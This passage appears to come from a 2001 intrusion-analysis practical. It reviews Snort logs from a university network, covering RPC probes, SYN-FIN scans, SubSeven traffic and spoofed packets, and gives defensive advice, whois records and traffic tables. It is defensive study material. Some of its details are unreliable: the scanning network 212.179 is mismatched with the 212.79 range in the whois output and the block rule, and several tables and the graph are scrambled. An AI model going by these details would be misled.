 Top 5 sources triggering this attack signature
Source
210.179.201.196
207.228.250.34
61.74.156.205
212.54.33.63
216.36.36.29
# Alerts (sig)
122
105
77
69
64
# Alerts (total)
122
105
77
69
64
# Dsts (sig)
122
105
77
69
64
# Dsts (total)
122
105
77
69
64
# Srcs (sig)
4
4
3
3
3
# Srcs (total)
4
4
3
3
3
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.132.11
MY.NET.132.1
MY.NET.134.251
MY.NET.135.5
MY.NET.135.48
# Alerts (sig)
4
4
3
3
3
# Alerts (total)
4
4
3
3
3
 Brief description of the attack
This attack is targeted at the destination port 111, or the RPC Portmapper service on UNIX
hosts. These scans occur quite frequently on the Internet. As noted in the SUNRPC highport
access! signature, even firewalls such as Gauntlet will respond to an rpcinfo -p request if
they are running RPC services. The information returned to the attacker can them be used to
more intelligently launch an attack against the victim hosts using an RPC exploit.
 Defensive recommendation
As mentioned above, turn off RPC services if they are not required. Also, block all inbound
RPC requests to your internal network at the border router. If your firewall is running RPC
services, consider disabling it and running without X-Windows. Also, use a version of
rpcbind that does not allow proxy access. More specific information on RPC is available at
the following CERT advisory: http://www.cert.org/advisories/CA-1994-15.html.
There are two CVE advisories under review currently for Portmapper:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0195
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0632
 Correlation
The source IP 207.228.250.34 appeared 11 times in the SANS CID on 5/15/01
(http://www.incidents.org/cid/search.php, search parameters: Source IP = 207.228.250.34,
Target and Source Ports = 111).
Source IP
207.228.250.34
Source Port
111
Destination Port
111
Protocol
6 (TCP)
Date
5/15/01
78
The source IP 61.74.156.205 appeared once in the SANS CID on 5/1/01
(http://www.incidents.org/cid/search.php, search parameters: Source IP = 61.74.156.205,
Target Ports = 111).
Source IP
61.74.156.205
Source Port
1412
Destination Port
111
Protocol
6 (TCP)
Date
5/1/01
The source IP 216.36.36.29 appeared in the SANS CID on 4/16/01
(http://www.incidents.org/cid/search.php, search parameters: Source IP = 216.36.36.29,
Target Ports = 111).
Source IP
216.36.36.29
216.36.36.29
Source Port
111
111
Destination Port
111
111
Protocol
6 (TCP)
6 (TCP)
Date
4/16/01
4/16/01
# Dsts (sig)
978
# Dsts (total)
978
# Srcs (sig)
1
1
1
1
1
# Srcs (total)
1
1
1
1
1
SYN-FIN scan!
 All sources triggering this attack signature
Source
62.238.69.199
# Alerts (sig)
978
# Alerts (total)
978
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.141.184
MY.NET.142.12
MY.NET.222.249
MY.NET.227.76
MY.NET.206.20
# Alerts (sig)
1
1
1
1
1
# Alerts (total)
1
1
1
1
1
 Brief description of the attack
A SYN-FIN scan is used to probe a network for open ports and do OS fingerprinting using a
flag combination that does not occur naturally as part of the TCP three-way handshake. By
using this flag combination, the attacker may fail to be noticed by some older IDS's. More
information on the SYN-FIN scan can be found here: http://www.whitehats.com/IDS/198.
Note that there were 978 alerts in the Snort alert files all originating from the single source IP
62.238.69.199. In addition, the source and destination port in all the packets was 21, the FTP
command port. The source IP resolves to the Netherlands, and a whois query returned the
following:
Server used for this query: [ whois.ripe.net ]
inetnum:
62.238.0.0 - 62.238.95.255
79
netname:
descr:
descr:
country:
admin-c:
tech-c:
status:
mnt-by:
changed:
source:
route:
descr:
origin:
remarks:
notify:
mnt-by:
changed:
source:
person:
address:
address:
address:
address:
phone:
e-mail:
nic-hdl:
notify:
changed:
NL-ZEELANDNET-20001101
Provider Local Registry
ZeelandNet BV
NL
PVDP1-RIPE
AK1555-RIPE
ASSIGNED PA
RIPE-NCC-NONE-MNT
[email protected] 20001127
RIPE
62.238.0.0/16
ZeelandNet
AS15542
first post
[email protected]
AS15542-MNT
[email protected] 20001113
RIPE
Pieter van der Pol
ZeelandNet BV
Veerweg 16
4493 AS
Kamperland
+31 113 377778
[email protected]
PVDP1-RIPE
[email protected]
[email protected] 19990714
 Defensive recommendation
If you are running a FTP server that allows connections from the Internet, place this server
outside of the firewall protecting your internal network. Be sure to harden the OS and patch
all software applications that are running on this box, such as WU-FTP. For more
information on WU-FTPD, see the following URL: http://www.wu-ftpd.org.
It is highly advised that you do not allow inbound FTP to your internal network through your
firewall. Also, use a stateful firewall if your are allowing outbound FTP connections to the
Internet.
Multiple CVE advisories exist for versions of FTP servers and various OS's. It is
recommended you review the FTP advisories on CVE: http://cve.mitre.org/cve, search
parameter = ftp. A CVE advisory is under review for SYN-FIN packets with the more
fragments bit set for Marconi ASX-1000 switches. The advisory is located here:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0270.
80
 Correlation
No correlations were found for the external source IP on the GIAC site, SANS CID, or on
Google.
Possible trojan server activity
 Top 5 sources triggering this attack signature
Source
129.82.88.173
MY.NET.202.34
207.55.74.26
211.56.113.59
211.135.37.98
# Alerts (sig)
693
576
288
26
7
# Alerts (total)
693
576
288
26
7
# Dsts (sig)
672
1
1
22
5
# Dsts (total)
672
1
1
22
5
# Srcs (sig)
1
1
24
6
3
# Srcs (total)
1
1
24
6
4
 Top 5 destinations receiving this attack signature
Destinations
207.55.74.26
MY.NET.202.34
129.82.88.173
MY.NET.222.50
MY.NET.204.142
# Alerts (sig)
576
288
27
6
5
# Alerts (total)
576
288
27
6
8
 Brief description of the attack
The alerts from this scan appear to be triggered when a packet arrives with a source or
destination port of 27374. According to the following port list,
http://www.SANS.ORG/newlook/resources/IDFAQ/oddports.htm, this port is associated
with the trojans Bad Blood, SubSeven, SubSeven 2.1 Gold, Subseven 2.1.4, and DefCon 8.
Most likely these alerts are related to a version of SubSeven, as this is currently one of the
more popular trojans in use within the attacker community.
SubSeven is a remote control trojan for Windows machines that lets the attacker control the
victim machine. The attacker uses their SubSeven client to remotely connect to the victim
machine infected with a SubSeven server, typically on port 27374 TCP for version 2.1.
SubSeven even has the option to notify the attacker when a victim machine infected with the
server is online, and provides the attacker with the IP address and port on which the server is
listening. More information on SubSeven is located here:
http://www.sans.org/newlook/resources/IDFAQ/subseven.htm.
If we consider the top five source addresses for this scan, the following assumptions can be
made:
81
 The source IP 129.82.88.173 appears to be scanning your internal network for
SubSeven trojans listening on port 27374.
 The internal host MY.NET.202.34 appears to be scanning the Internet for machines
with Subseven servers listening on port 27374.
 The source IP 207.55.74.26 appears to be responding to SubSeven tasking from a host
located within your internal network (MY.NET.202.34).
 The source IP 211.56.113.59 appears to be scanning your internal network for
SubSeven trojans listening on port 27374.
 The source IP 211.135.37.98 appears to be scanning your internal network for
SubSeven trojans listening on port 27374.
Considering all the internal hosts that Snort detected as either sending or receiving traffic
with a destination port of 27374, we can make the following assumptions:
 The internal hosts MY.NET.202.34, MY.NET.98.142 and MY.NET.221.50 appear to
be attempting to task Trojans listening on port 27374 on the Internet. Also note that
MY.NET.221.50 also was identified in the "tcp Red Worm" alert as sending traffic to
port 65535.
 The internal hosts in the table below appear to be answering Trojan tasking requests.
However, it is difficult to know this for sure. It appears that either the Snort logs do
not contain bi-directional traffic logs for all the internal subnets, or that all the Snort
sensors do not have the same exact set of signatures.
MY.NET.205.218
MY.NET.146.51
MY.NET.181.37
MY.NET.15.178
MY.NET.100.182
MY.NET.182.198
MY.NET.105.120
MY.NET.204.214
MY.NET.204.142
MY.NET.182.71
MY.NET.222.98
MY.NET.223.50
MY.NET.97.191
MY.NET.182.95
MY.NET.181.112
MY.NET.185.73
MY.NET.210.185
MY.NET.184.200
MY.NET.182.138
MY.NET.222.226
MY.NET.198.171
MY.NET.160.128
MY.NET.206.226
MY.NET.229.54
MY.NET.185.21
MY.NET.184.28
MY.NET.225.117
MY.NET.184.29
MY.NET.198.179
MY.NET.202.89
MY.NET.180.1
MY.NET.182.107
MY.NET.185.28
MY.NET.181.105
MY.NET.60.152
MY.NET.180.185
MY.NET.181.180
MY.NET.222.166
MY.NET.99.15
MY.NET.222.50
MY.NET.229.174
MY.NET.60.17
MY.NET.225.214
MY.NET.182.19
MY.NET.206.254
MY.NET.188.1
MY.NET.202.117
MY.NET.180.192
MY.NET.217.113
MY.NET.181.172
MY.NET.182.119
 Defensive recommendation
Since your organization is a University, it is quite possible that the SubSeven Trojan has
infected numerous machines within your internal network. Often times students will send the
82
latest joke or animated graphic within a .exe file to all their friends over the campus network.
Since many Universities have high speed Internet access in the dorms, the trojan could make
its way around the network very quickly.
It does not appear that your firewall is blocking port 27374 to or from the Internet. Your
firewall should be configured to block this port. If you do not have a firewall, and are not
able to install one for whatever reason, block traffic to port 27374 TCP at the border router.
Next, inspect the three machines that appear to have been attempting to task trojans on the
Internet. Also, if it can be determined who was using those machines at the time the traffic
occurred, inform them of the dangers of scanning for trojans. Also, look at your Internet
usage policy to determine if they were engaging in prohibited actions.
An important last step would be to inspect all the machines suspected of being infected with
the SubSeven Trojan. Use the following steps recommended by SANS in the SubSeven
IDFAQ URL: http://www.sans.org/newlook/resources/IDFAQ/subseven.htm.
1. Edit SYSTEM.INI. If you find the line shell=Explorer.exe Task_Bar.exe, remove the
Task_Bar.exe entry. Save SYSTEM.INI.
2. Edit win.ini and look at the lines containing run= and load=. If you find one of the
files listed above, remove this entry (entries).
3. Start the regedit.exe and search for the files listed above. If you find an entry with one
of the files, remove it.
4. Reboot
There are no specific CVE or CERT advisories for SubSeven. However, there are NIPC
advisories on SubSeven located here:
http://www.nipc.gov/warnings/advisories/2001/01-014.htm
http://www.nipc.gov/warnings/advisories/2000/00-056.htm
 Correlation
The following correlation for the source IP 211.56.113.59 was found for the destination port
12345 (Netbus trojan): http://www.sans.org/y2k/042401.htm.
UDP SRC and DST outside network
 Top 5 sources triggering this attack signature
Source
192.168.0.53
162.254.67.123
128.101.28.114
134.192.134.112
169.254.114.199
# Alerts (sig)
1339
213
154
90
47
# Alerts (total)
1339
213
163
90
47
# Dsts (sig)
1
192
90
1
35
# Dsts (total)
1
192
99
1
35
83
 Top 5 destinations receiving this attack signature
Destinations
10.10.10.50
134.192.148.14
211.99.78.10
164.124.101.2
202.62.32.194
# Alerts (sig)
1339
90
43
14
7
# Alerts (total)
1339
90
43
14
7
# Srcs (sig)
1
1
1
5
1
# Srcs (total)
1
1
1
5
1
 Brief description of the attack
This UDP traffic, much like the ICMP and TCP traffic described previously, appears to be
spoofed from your internal network. The attacker is spoofing their source address to be that
of IANA (Internet Assigned Numbers Authority), University of Minnesota, and the
University of Maryland at Baltimore.
The destinations include IANA (Internet Assigned Numbers Authority), University of
Maryland at Baltimore, a Korean dial-up server, the DACOM Corporation in Seoul South
Korea, and an ISP in Austria called Dolphin IT.
The destination address that resolves to IANA may be the result of an internal user or
administrator testing a scanning tool and using a reserved IP address so as not to "attack" an
assigned IP address owner. It could also be a typo on the part of the attacker.
Almost all these alerts were between the source and destination port 137, Windows
NetBIOS. A few connection attempts to port 6346, Gnutella, were logged as well.
 Defensive recommendation
The same recommendation here is made as with the ICMP and TCP spoofed traffic. The best
defense against IP spoofing within your internal network is performing egress filtering at
your border routers. The following SANS paper provides an excellent description of and
instructions on how to implement egress filtering:
http://www.sans.org/infosecFAQ/firewall/egress.htm.
 Correlation
No correlations were found in the SANS CID. Even if correlations were found, it would be
very hard to trace the attack back to your own network.
Attempted Sun RPC high port access
 All sources triggering this attack signature
Source
# Alerts (sig)
# Alerts (total)
# Dsts (sig)
# Dsts (total)
84
24.248.185.123
172.135.241.112
205.188.153.98
1508
1118
1
1508
1118
1
1
1
1
1
1
1
# Srcs (sig)
2
1
# Srcs (total)
2
2
 All destinations receiving this attack signature
Destinations
MY.NET.219.34
MY.NET.223.22
# Alerts (sig)
2626
1
# Alerts (total)
2626
2
 Brief description of the attack
This alert signature is similar to the SUNRPC highport access! alert in that the destination
port is 32771, or the rpc.ghost portmapper port. However, the source port is 32786 in all but
one case. Port 32768 is the RPC Filenet TMS port.
The one exception was a packet from 205.188.153.98 with source port 4000. Port 4000 is the
well-known port for ICQ and the game Diablo. A whois lookup confirms that the source IP
205.188.153.98 belongs to AOL, which purchased ICQ in June 1998.
 Defensive recommendation
As stated in the Defense recommendation section of the "SUNRPC highport access!" alert,
the best defense against these attacks is to turn off RPC services if they are not required.
 Correlation
A correlation to the scan from the source IP 205.188.153.98 was found here:
http://www.sans.org/y2k/practical/william_stearns_gcia.html.
Watchlist 000220 IL-ISDNNET-990517
 Top 5 sources triggering this attack signature
Source
212.179.21.187
212.179.80.30
212.179.179.2
212.179.179.3
212.179.179.226
# Alerts (sig)
1580
1010
800
664
571
# Alerts (total)
1580
1010
800
664
571
# Dsts (sig)
1
1
5
1
1
# Dsts (total)
1
1
5
1
1
# Srcs (sig)
1
18
# Srcs (total)
2
19
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.218.30
MY.NET.219.38
# Alerts (sig)
1580
1244
# Alerts (total)
1581
1245
85
MY.NET.212.182
MY.NET.222.2
MY.NET.224.170
686
664
571
686
664
571
1
1
1
1
1
1
 Brief description of the attack
This scan originates from the class B network 212.179.0.0. This class B network is broken up
among the following ISP's:
Server used for this query: [ whois.ripe.net ]
inetnum:
212.79.0.0 - 212.79.63.255
netname:
DE-POP-981102
descr:
POP Point of Presence
descr:
PROVIDER
country:
DE
role:
Hostmaster POP
address:
POP Point of Presence GmbH
address:
Wendenstrasse 375-377
address:
D-20537 Hamburg
address:
Germany
inetnum:
212.79.64.0 - 212.79.95.255
netname:
BE-ASSURNET-990202
descr:
PROVIDER
country:
DE
role:
Assurnet IP OPERATOR
address:
Assurnet
address:
150 chaussee de La Hulpe
address:
1170 Bruxelles
address:
Belgium
These scans targeted the following destination ports:
25
412
1214
1267
1335
1496
3315
4190
4197
4237
4341
4342
4451
4484
4815
4851
4885
4887
4947
4949
4963
6346
6347
6688
6699
51143
These ports map to the following services (according to
http://www.iana.org/assignments/port-numbers, the http://www.snort.org Port Databse tool,
and the URL http://www.linuxrouter.org/listarch/linux-router/2000-12-01/msg00209.html).
86
Note that Napster ports are not registered, and therefore can often change. However, 6688
and 6699 appear to be commonly used Napster ports.
*** (see below)
Trap Convention Port
KAZAA
pcmlinux
Digital Notary Protocol
liberty-lm
CDID
Unassigned
Unassigned
VRML Multi User Systems
Unknown
Unknown
CTI System Msg
Unassigned
Unassigned
Unassigned
ABBS
Unassigned
Unassigned
Unassigned
Unassigned
Gnutella
Gnutella
Napster
Napster
Dynamic and/or private ports
*** Besides SMTP, the URL
http://www.SANS.ORG/newlook/resources/IDFAQ/oddports.htm lists the following Trojans
associated with port 25: Ajan, Antigen, Email Password Sender - EPS, EPS II, Gip, Gris,
Happy99, Hpteam mail, I loveyou, Kuang2, Magic Horse, MBT (Mail Bombing trojan),
Moscow Email trojan, Naebi, NewApt worm, ProMail trojan, Shtirlitz, Stealth, Tapiras,
Terminator, WinPC, and WinSpy.
 Defensive recommendation
A stateful firewall that blocks unassigned port numbers and well-known ports used by
Napster and Gnutella is recommended. In addition, anti-virus software should be installed on
the mail sever and all non-UNIX machines.
It is also be advised that you block this IP block at your border router. If you are using a
Cisco router, the following ACL will accomplish this (replace MY.NET with the first two
octets of your network, and "101" with appropriate extended ACL number):
! Cisco IOS
access-list 101 deny ip 212.79.0.0 0.0.255.255 MY.NET.0.0
0.0.255.255 log
 Correlation
No correlations were found for the external source IP on the GIAC site, SANS CID, or on
Google.
Snort Scan and Alert Log “Top Talkers” and “Top Destination” Lists
Using the Access database, the following totals were observed:
“Top Ten Talkers” from the Alert logs and the “inside_alert_source_ip_count_qry” query:
Src_IP
CountOfSrc_IP
87
212.179.21.187
24.248.185.123
192.168.0.53
172.135.241.112
212.179.80.30
62.238.69.199
212.179.79.2
129.82.88.173
212.179.80.3
MY.NET.202.34
1580
1508
1339
1118
1010
978
800
693
664
576
“Top Ten Destinations” from the Alert logs and the “inside_alert_dest_ip_count_qry” query:
Dest_IP
MY.NET.219.34
MY.NET.218.30
10.10.10.50
MY.NET.219.38
MY.NET.212.182
MY.NET.222.2
207.55.74.26
MY.NET.224.170
MY.NET.225.102
MY.NET.218.218
CountOfDest_IP
2626
1581
1339
1245
686
664
576
571
463
328
“Top Ten Talkers” from the Scan logs and the “scan_data_source_ip_count_qry” query:
Src_IP
MY.NET.228.134
MY.NET.220.66
MY.NET.211.114
205.188.233.153
MY.NET.228.54
MY.NET.202.86
MY.NET.230.6
MY.NET.219.34
24.112.6.86
205.188.233.185
CountOfSrc_IP
13743
10043
9619
9370
8829
7147
6296
4590
4164
4044
“Top Ten Destinations” from the Scan logs and the “scan_data_dest_ip_count_qry” query:
Dest_IP
24.13.123.8
24.18.176.117
MY.NET.178.154
4.17.91.71
MY.NET.145.166
CountOfDest_IP
2487
1463
1315
1307
1247
88
MY.NET.151.70
MY.NET.110.169
MY.NET.222.194
MY.NET.110.33
MY.NET.106.179
1229
1151
1119
1114
1031
“Top Ten Talkers” from the Alert logs with repsect to portscan events only, and the
“spp_portscan_src_ip_count_qry” query:
Src_IP_of_Portscan CountOfSrc_IP_of_Portscan
MY.NET.217.182
347
MY.NET.211.114
147
MY.NET.219.222
131
MY.NET.202.86
124
MY.NET.228.54
123
MY.NET.214.90
123
MY.NET.230.6
118
212.95.92.218
77
MY.NET.220.66
76
MY.NET.202.194
76
Considering the top talkers and destinations from the tables above, we get the following
comprehensive lists:
Top Ten Talkers (Exclusively from the Scan Logs)
Source IP Address
Number of Packets Sent
Destination Ports
MY.NET.228.134
13743
MY.NET.220.66
10043
MY.NET.211.114
9619
205.188.233.153
9370
MY.NET.228.54
8829
MY.NET.202.86
7147
MY.NET.230.6
6296
MY.NET.219.34
4590
Numerous ports ranging from 1047
to 65452
Numerous ports ranging from 1024
to 64610
Numerous ports including 80, and
ranging from 1024 to 65413
Numerous ports ranging from 6970
(Napster or possibly GateCrasher
Trojan) to 7142
Numerous ports including 53 (DNS),
80 (HTTP), 208 (Appletalk?), 443
(SSL), 666 (Doom or Trojan port),
and ranging from 1024 to 65217
Numerous ports including 80
(HTTP), 208 (Appletalk?), 666
(Doom or Trojan port), and ranging
from 1024 to 65535
Numerous ports including 53 (DNS),
80 (HTTP), 208 (Unused Appletalk
port), 443 (SSL), 666 (Doom or
Trojan port), and ranging from 1025
to 65529
Ports 1045, 1065, 15101, 15202,
89
24.112.6.86
205.188.233.185
4164
4044
32767 (all unassigned) and 32768
(RPC)
Port 21 (FTP)
Port 6970 (Napster)
Top Ten Destinations (Compiled from the Alert and Scan Logs)
Source IP Address
Number of Packets Received
Type of Traffic
MY.NET.219.34
24.13.123.8
2626
2487
MY.NET.218.30
1581
24.18.176.117
1463
10.10.10.50
1339
MY.NET.178.154
4.17.91.71
1315
1307
MY.NET.145.166
MY.NET.219.38
MY.NET.151.70
1247
1245
1229
Port 32771 (RPC)
Port scan of ports 2 through 6147,
and numerous ports ranging from
6558 to 65301
Ports 6688 (Napster) and 4831
(unassigned)
Ports 1095 (Possible RAT Trojan),
1098 (Possible RAT Trojan), 1116,
1138, 1159, 1160, 1168, and 28800
(all the rest are either unassigned or
obscure services)
Port 137 (NetBIOS). NOTE: This is
most likely spoofed traffic or NAT’d
traffic that was not proxied
correctly.
Port 53 (DNS) and 6970 (Napster)
Numerous ports ranging from 1058
to 4609
Port 6970 (Napster)
Ports 4815 and 4197 (unknown)
Port 6970 (Napster)
Top-Ten Talkers with an External IP Source Addresses from the Scan Logs
The following is a list of the top-ten external talkers from the scan logs. Registration
information about each of the IP addresses is also shown. While one cannot assume the
IP address is legitimate (IP spoofing may have been used), knowing where an attack may
have originated from may help determine a course of action. For example, foreign attacks
typically generate more concern than domestic attacks for organizations that handle data
of a highly sensitive nature.
Src_IP
205.188.233.153
24.112.6.86
205.188.233.185
209.178.22.233
64.160.53.230
210.52.214.15
24.148.30.123
212.95.92.218
210.99.142.175
CountOfSrc_IP
9370
4164
4044
3972
2922
2499
2030
1444
1297
90
212.67.128.102
1187
205.188.233.153
Server used for this query: [ whois.arin.net ]
America Online, Inc (NETBLK-AOL-DTC)
22080 Pacific Blvd
Sterling, VA 20166
US
Netname: AOL-DTC
Netblock: 205.188.0.0 - 205.188.255.255
Coordinator:
America Online, Inc. (AOL-NOC-ARIN) [email protected]
703-265-4670
Domain System inverse mapping provided by:
DNS-01.NS.AOL.COM
152.163.159.232
DNS-02.NS.AOL.COM
205.188.157.232
Record last updated on 27-Apr-1998.
Database last updated on 2-Jul-2001 23:05:40 EDT.
24.112.6.86
Server used for this query: [ whois.arin.net ]
Rogers@Home Ontario (NETBLK-ROGERS-1-BLOCK)
1 Mount Pleasant Road
Toronto, ON M4Y 2Y5
CA
Netname: ROGERS-1-BLOCK
Netblock: 24.112.0.0 - 24.112.255.255
Maintainer: RHON
Coordinator:
Network Security, Fraud (AD30-ARIN) [email protected]
(416) 935-4729
Domain System inverse mapping provided by:
NS.ON.ROGERS.WAVE.CA
24.112.32.2
NS.BC.ROGERS.WAVE.CA
24.112.31.254
Record last updated on 02-Jan-2001.
Database last updated on 2-Jul-2001 23:05:40 EDT.
205.188.233.185
Server used for this query: [ whois.arin.net ]
America Online, Inc (NETBLK-AOL-DTC)
22080 Pacific Blvd
Sterling, VA 20166
US
Netname: AOL-DTC
Netblock: 205.188.0.0 - 205.188.255.255
Coordinator:
91
America Online, Inc. (AOL-NOC-ARIN) [email protected]
703-265-4670
Domain System inverse mapping provided by:
DNS-01.NS.AOL.COM
152.163.159.232
DNS-02.NS.AOL.COM
205.188.157.232
Record last updated on 27-Apr-1998.
Database last updated on 2-Jul-2001 23:05:40 EDT.
209.178.22.233
Server used for this query: [ whois.arin.net ]
Charter Cable/Pasadena LAN (NETBLK-CBLPASLAN-USER0058)
2215 W Mission Road
Alhambra, CA 91802
US
Netname: CBLPASLAN-USER0058
Netblock: 209.178.22.233 - 209.178.22.240
Coordinator:
Earthlink Network, Domain Administrator (DAE4-ARIN) [email protected]
626-296-2400 (FAX) 626-296-5113
Record last updated on 01-Nov-1999.
Database last updated on 2-Jul-2001 23:05:40 EDT.
64.160.53.230
Server used for this query: [ whois.arin.net ]
PPPoX Pool - Rback33 SNFC21 (NETBLK-SBCIS-10067-152318)
303 second St
San Francisco, Ca 94107
US
Netname: SBCIS-10067-152318
Netblock: 64.160.52.0 - 64.160.55.255
Coordinator:
Pacific Bell Internet (PIA2-ORG-ARIN) [email protected]
888-212-5411
Record last updated on 08-Jun-2000.
Database last updated on 2-Jul-2001 23:05:40 EDT.
210.52.214.15
Server used for this query: [ whois.apnic.net ]
inetnum: 210.52.128.0 - 210.52.255.255
netname: CNCNET
descr:
China Netcom Corp.
descr:
New Telecommunication Carrier Based on IP Backbone
country: CN
admin-c: ZM28-AP
tech-c:
ZM28-AP
mnt-by:
APNIC-HM
92
mnt-lower: MAINT-CN-ZM28
changed: [email protected] 20000627
source:
APNIC
person:
Zhao Mingqun
address: 9/F, Building A, Corporate Square, No. 35 Financial Street,
address: Xicheng District, Beijing 100032, P.R.China
country: CN
phone:
+86-10-86011588
fax-no:
+86-10-88091446
e-mail:
[email protected]
nic-hdl: ZM28-AP
mnt-by:
MAINT-CN-ZM28
changed: [email protected] 20001208
source:
APNIC
24.148.30.123
Server used for this query: [ whois.arin.net ]
21st Century Telecom Group, Inc. (NETBLK-21CENTURY-NET2)
350 N. Orleans St. Ste. 600
Chicago, IL 60654
US
Netname: 21CENTURY-NET2
Netblock: 24.148.0.0 - 24.148.95.255
Maintainer: 21CA
Coordinator:
Operations Coordinator, EnterAct Network (ENO3-ARIN) [email protected]
(312) 588-2900 (FAX) (312) 588-2944
Domain System inverse mapping provided by:
NS0.ENTERACT.COM
207.229.143.3
BIFROST.SEASTROM.COM
192.148.252.10
ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
Record last updated on 24-Jan-2001.
Database last updated on 2-Jul-2001 23:05:40 EDT.
212.95.92.218
Server used for this query: [ whois.ripe.net ]
inetnum:
212.95.88.0 - 212.95.95.255
netname:
EV
descr:
Est-Videocommunication
descr:
26 Boulevard du president Wilson
descr:
67954 Strasbourg Cedex
descr:
France
descr:
Ip Block #3 provided by SdV
country:
FR
admin-c:
EA359-RIPE
tech-c:
SG727-RIPE
93
status:
ASSIGNED PA
notify:
[email protected]
mnt-by:
SDV
mnt-lower: SDV
changed:
[email protected] 20001128
source:
RIPE
route:
212.95.64.0/19
descr:
FR-SDV
descr:
SdV Plurimedia IP-Block #1
origin:
AS8839
cross-mnt: SDV
mnt-by:
SDV
changed:
[email protected] 19991209
source:
RIPE
person:
Etienne ANSELM
address:
Est Videocommunication
address:
42, route de Bischwiller
address:
67300 Schiltigheim, France
phone:
+33 3 88 76 44 63
fax-no:
+33 3 88 76 44 69
e-mail:
[email protected]
nic-hdl:
EA359-RIPE
notify:
[email protected]
mnt-by:
RAIN-TRANSPAC
changed:
[email protected] 19970610
source:
RIPE
person:
Salim GASMI
address:
SDV PLURIMEDIA
address:
15, rue de la nuee bleue
address:
67000 STRASBOURG
address:
France
phone:
+33 3 88 75 80 50
fax-no:
+33 3 88 23 56 32
e-mail:
[email protected]
nic-hdl:
SG727-RIPE
mnt-by:
RAIN-TRANSPAC
changed:
[email protected] 20000309
source:
RIPE
210.99.142.175
Server used for this query: [ whois.nic.or.kr ]
Korea Internet Information Service V1.0 ( created by KRNIC, 2001.6 )
# ENGLISH
IP Address
: 210.99.142.128-210.99.142.191
Network Name
: HUISONG-NET
Connect ISP Name : PUBNET
94
Connect Date
: 19980910
Registration Date : 19980910
[ Organization Information ]
Orgnization ID : ORG32743
Org Name
: Huisong Elementary School
State
: KYONGGI
Address
: 1101-1,DalandongDonganKu
Zip Code
: 430-058
[ Admin Contact Information]
Name
: Kumjong Ru
Org Name
: Huisong Elementary School
State
: KYONGGI
Address
: 1101-1, Dalandong DonganKu
Zip Code
: 430-058
Phone
: 0343 82 4222
Fax
: 0343 82 4224
E-Mail
: [email protected]
[ Technical Contact Information ]
Name
: Kyunghee Shin
Org Name
: Huisong Elementary School
State
: KYONGGI
Address
: 1101-1, Dalandong DonganKu
Zip Code
: 430-058
Phone
: 0343 82 4222
Fax
: 0343 82 4224
E-Mail
: [email protected]
212.67.128.102
Server used for this query: [ whois.ripe.net ]
inetnum:
212.67.128.0 - 212.67.159.255
netname:
UK-CALLNET-981118
descr:
Data River Ltd.
descr:
Provider Local Registry
country:
GB
admin-c:
BRAD-RIPE
tech-c:
BRAD-RIPE
status:
ALLOCATED PA
changed:
[email protected] 19981118
changed:
[email protected] 19981211
changed:
[email protected] 19990120
changed:
[email protected] 19990813
changed:
[email protected] 20010216
source:
RIPE
mnt-by:
RIPE-NCC-HM-MNT
changed:
[email protected] 20010515
changed:
[email protected] 20010522
95
route:
descr:
origin:
notify:
notify:
mnt-by:
changed:
source:
person:
address:
address:
address:
address:
address:
phone:
fax-no:
e-mail:
nic-hdl:
remarks:
changed:
source:
212.67.128.0/20
Data River Ltd
AS9169
[email protected]
[email protected]
CALLNET-MNT
[email protected] 20000405
RIPE
Bradley Mulock
Brecon House
Meridian Gate
207 Marsh Wall
London
E149YT
+44 20 7001 9999
+44 20 7515 9525
[email protected]
BRAD-RIPE
Data River Senior Network Engineer
[email protected] 20010619
RIPE
OOS (Out of Spec) Log Analysis
A link graph was constructed using Excel by querying the Access database for all source
IP's and destination ports. This list was then sorted by IP address and then by port number
in ascending order. Only the first 104 IP addresses were addressed, and an alias was used
for each of the IP addresses. The graph and the alias legend are located on the following
page.
Note that the IP 62.238.69.199 was not included in the link graph as it port scanned 2,832
hosts on port 21 in the internal network. If this IP address were included in the graph, the
scale would be altered to the point that the other data would not be discernible.
96
OOS Source IP and Destination Port Link Graph
25
H
G
Number of Connection Attempts by Attacker to the Specific Port
20
15
LL
z
R
10
e
y
OO
5
U
G
F
M
y
WW
dd
LL
e
qq
ZZ
mm
nn
Q
n
YY dd
C
KL N
XY
op r u
AA
dd ff
mm
tt
C
AB EF
a
D
IJ
OP ST VW
bcd f ghi j k l mnopq s t vwx y AA
BB
CDD
CEE
FG
FHH
GII JJKKMNN
M PPRR
QQSS
TT
UV
UVXXZZbb
aa ccddee gg
hh
ii jj kkll mm
oo
pp rrss uuvv
vvzz
ww
xx
yy
AB DE
H
0
Source IP by Alias
Port 0
Port 6699
Port 6346
Port 1763
Port 1487
Port 3112
Port 16105
Port 1
Port 4815
Port 1117
Port 1712
Port 2055
Port 3359
Port 38469
Port 5
Port 5501
Port 4237
Port 1242
Port 1598
Port 3261
Port 57575
Port 20
Port 4835
Port 6355
Port 6347
Port 6700
Port 1091
Port 2507
Port 25
Port 6688
Port 3292
Port 5501
Port 3032
Port 1107
Port 80
Port 2285
Port 4355
Port 4036
Port 2329
Port 1131
Port 4657
Port 3654
Port 21536
Port 3436
Port 2552
Port 1233
Port 1991
Port 3662
Port 113
Port 4310
Port 2554
Port 1256
Port 2350
Port 3665
Port 2208
Port 6969
Port 2557
Port 20099
Port 2054
Port 1269
Port 2792
Port 1059
Port 2559
Port 50847
IP alias Legend used in OOS Link Graph
A = 193.253.250.36
B = 217.80.130.190
C = 216.232.176.84
D = 217.0.99.111
E = 217.82.118.36
a = 12.13.23.4
b = 128.175.107.57
c = 128.46.156.117
d = 128.91.67.166
e = 129.2.146.31
AA = 192.117.120.140
BB = 192.168.0.4
CC = 193.252.174.191
DD = 194.126.96.110
EE = 194.145.131.208
aa = 206.29.168.18
bb = 207.164.170.84
cc = 207.195.107.131
dd = 207.210.120.215
ee = 208.178.240.96
97
F = 213.76.200.201
G = 209.221.200.17
H = 63.202.186.140
I = 62.238.69.199
(not shown in graph)
J = 209.43.130.136
K = 216.34.38.95
L = 130.236.181.114
M = 130.79.11.43
N = 140.198.85.25
O = 141.89.233.53
P = 194.67.67.194
Q = 195.57.122.4
R = 209.189.115.49
S = 212.106.240.48
T = 212.15.197.26
U = 216.158.45.26
V = 217.1.185.3
W = 217.136.5.157
X = 24.112.35.160
